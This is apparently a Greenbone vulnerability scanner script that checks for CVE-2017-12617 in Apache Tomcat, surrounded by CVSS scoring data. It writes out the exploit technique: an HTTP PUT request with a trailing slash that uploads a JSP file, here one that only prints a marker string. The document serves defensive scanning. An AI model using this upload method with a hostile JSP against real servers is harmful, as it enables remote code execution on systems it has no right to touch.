CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%
Apache Tomcat is prone to a code execution vulnerability.
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apache:tomcat";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.811854");
script_version("2024-07-17T05:05:38+0000");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_cve_id("CVE-2017-12617");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_tag(name:"last_modification", value:"2024-07-17 05:05:38 +0000 (Wed, 17 Jul 2024)");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2024-07-16 17:58:11 +0000 (Tue, 16 Jul 2024)");
script_tag(name:"creation_date", value:"2017-09-25 17:29:27 +0530 (Mon, 25 Sep 2017)");
script_tag(name:"qod_type", value:"exploit");
script_name("Apache Tomcat 'HTTP PUT Request' JSP Upload Code Execution Vulnerability");
script_tag(name:"summary", value:"Apache Tomcat is prone to a code execution vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted 'HTTP PUT' request and check
whether it is able to upload arbitrary file or not.");
script_tag(name:"insight", value:"The flaw is due to an insufficient processing
of 'HTTP PUT Request', which allows uploading of an arbitrary JSP file to the
target system and then request the file to execute arbitrary code on the target
system.");
script_tag(name:"impact", value:"Successful exploitation will allow remote
attackers to execute arbitrary code on the target system.");
script_tag(name:"affected", value:"Apache Tomcat versions 9.0.0.M1 to 9.0.0,
8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81.");
script_tag(name:"solution", value:"Upgrade to Tomcat version 7.0.82 or 8.0.47
or 8.5.23 or 9.0.1 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_xref(name:"URL", value:"https://lists.apache.org/thread.html/3fd341a604c4e9eab39e7eaabbbac39c30101a022acc11dd09d7ebcb@%3Cannounce.tomcat.apache.org%3E");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/100954");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web Servers");
script_dependencies("gb_apache_tomcat_consolidation.nasl");
script_mandatory_keys("apache/tomcat/http/detected");
script_require_ports("Services/www", 8080);
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
exit(0);
host = http_host_name(port:port);
postData = '<% out.println("Reproducing CVE-2017-12617");%>';
vtstrings = get_vt_strings();
rand = '/' + vtstrings["lowercase_rand"] + '.jsp';
url = rand + '/';
req = string("PUT ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Length: ", strlen(postData), "\r\n",
"\r\n", postData);
res = http_keepalive_send_recv(port:port, data:req);
if(res =~ "^HTTP/1\.[01] 201") {
if( http_vuln_check( port:port, url:rand, pattern:"Reproducing CVE-2017-12617", check_header:TRUE) ) {
report = 'It was possible to upload the file ' + rand + '. Please delete this file manually.';
security_message(port:port, data:report);
exit(0);
}
}
exit(99);
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%